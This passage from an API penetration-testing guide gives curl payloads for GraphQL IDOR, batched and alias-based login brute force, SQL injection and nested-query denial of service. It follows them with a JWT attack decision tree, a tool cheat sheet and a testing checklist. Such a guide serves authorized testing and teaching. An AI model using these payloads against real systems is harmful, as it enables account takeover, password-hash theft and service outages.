# ─── 2. IDOR via GraphQL (BOLA equivalent) ───
# Query with your ID:
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <YOUR_TOKEN>" \
-d '{"query": "{ user(id: 1337) { id email password_hash } }"}'
# Change ID to another user's:
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <YOUR_TOKEN>" \
-d '{"query": "{ user(id: 1) { id email password_hash } }"}'
# 200 with data = BOLA/IDOR in GraphQL
# ─── 3. Batch query brute force (bypass rate limits) ───
# Standard login: 1 attempt per request
# GraphQL batching: 1 request = many attempts = bypasses rate limiting
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '[
{"query": "mutation { login(username: \"admin\", password: \"pass1\") { token } }"},
{"query": "mutation { login(username: \"admin\", password: \"pass2\") { token } }"},
{"query": "mutation { login(username: \"admin\", password: \"pass3\") { token } }"}
]'
# ─── 4. Alias-based rate limit bypass ───
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "{ a1: login(user:\"admin\", pass:\"pass1\") { token }
a2: login(user:\"admin\", pass:\"pass2\") { token }
a3: login(user:\"admin\", pass:\"pass3\") { token } }"
}'
# Multiple alias queries in one request — each uses different password
# ─── 5. SQL Injection via GraphQL arguments ───
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ users(filter: \"1=1--\") { id email } }"}'
# ─── 6. DoS via deeply nested queries ───
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ user { friends { friends { friends { friends { id email } } } } } }"}'
15. Master Cheat Sheet
Tool Selection
RECON:
──────────────────────────────────────────────────────────────────────
Endpoint brute force? → ffuf / kiterunner (kr scan)
Hidden parameters? → arjun -u https://target.com/api/endpoint
Find swagger/openapi? → ffuf + swagger-wordlist.txt
Historical endpoints? → Wayback Machine CDX API
JS file analysis? → curl + grep -oP 'api/[^"]+' app.js
TESTING:
──────────────────────────────────────────────────────────────────────
BOLA/IDOR testing? → Burp → Autorize extension (2 users)
JWT attacks? → jwt_tool.py (all modes)
GraphQL schema? → curl introspection / graphql-cop / InQL
Rate limit abuse? → ffuf / python threading
Auth brute force? → ffuf / Burp Intruder + header rotation
SSRF internal probing? → Burp Collaborator / interactsh
CORS misconfiguration? → curl -H "Origin: evil.com" + check headers
Mass assignment? → add privileged fields to write requests
OWASP API Top 10 — Quick Reference
| # | Vulnerability | Attack Vector | Key Tool |
|---|---|---|---|
| API1 | BOLA / IDOR | Swap object IDs in requests | Autorize (Burp), ffuf |
| API2 | Broken Authentication | Brute force, weak JWT, token leaks | jwt_tool, ffuf, Burp |
| API3 | BOPLA | Excessive data, mass assignment | Burp Repeater |
| API4 | Rate Limit Abuse | Flood, header bypass, large payloads | ffuf, python threading |
| API5 | BFLA | Access admin endpoints as regular user | Autorize, manual curl |
| API6 | Business Flow Abuse | Concurrent requests, negative values | Turbo Intruder, python |
| API7 | SSRF | Inject URL → reach internal services | interactsh, Burp Collaborator |
| API8 | Security Misconfiguration | CORS, verbose errors, debug endpoints | curl, nuclei |
| API9 | Improper Inventory Management | Old API versions, shadow APIs | ffuf, Wayback CDX |
| API10 | Unsafe 3rd Party API Consumption | Inject payloads via OAuth/webhook data | Manual testing |
JWT Attack Decision Tree
Got a JWT token?
│
├── Check algorithm (header.alg)
│ ├── "none" accepted? → alg:none attack (jwt_tool -X a)
│ ├── HS256 with weak secret? → brute force (jwt_tool -C -d rockyou.txt)
│ ├── RS256 + accepts HS256? → key confusion (jwt_tool -X k -pk pub.pem)
│ └── JWK in header accepted? → JWK injection (jwt_tool -X i)
│
├── Check payload claims
│ ├── "role": "user"? → tamper to "admin" (-T mode)
│ ├── "exp" in past? → check if expired token accepted
│ └── "kid" present? → test SQLi/path traversal in kid value
│
└── Check token storage / transmission
├── Token in URL? → leaked in logs / referrer
├── In localStorage? → XSS can steal it
└── HTTP (not HTTPS)? → token transmitted in cleartext
API Testing Checklist
RECON:
[ ] Discover all API endpoints (swagger, JS, Kiterunner, Wayback)
[ ] Identify API version(s) — current and deprecated
[ ] Map authentication mechanisms (JWT, OAuth, API key, session)
[ ] Find all object IDs and their formats
[ ] Find all write endpoints (POST, PUT, PATCH, DELETE)
AUTHENTICATION:
[ ] Test brute force (no lockout, rate limit bypass)
[ ] Test JWT attacks (alg:none, cracking, confusion, JWK injection)
[ ] Test password reset flow (token reuse, predictability, account binding)
[ ] Test token in URL / insecure transmission
[ ] Test expired / revoked token acceptance
AUTHORIZATION:
[ ] BOLA: swap IDs across authenticated users
[ ] BFLA: access admin functions as regular user
[ ] BOPLA: mass assignment on write endpoints
[ ] Test all HTTP methods on every endpoint
INPUT VALIDATION:
[ ] SQLi in all parameters (Burp, sqlmap -r request.txt)
[ ] SSRF in URL-accepting fields
[ ] XXE in XML-accepting endpoints
[ ] Path traversal in filename/path parameters
[ ] Command injection in shell-like parameters
CONFIGURATION:
[ ] CORS with credentials
[ ] HTTP methods (TRACE, OPTIONS response)
[ ] Verbose error messages
[ ] Debug endpoints exposed
[ ] Default credentials
[ ] Spring Actuator / Node debug ports
Note: All techniques documented here are for ethical hacking, CTF practice, and authorized penetration testing only.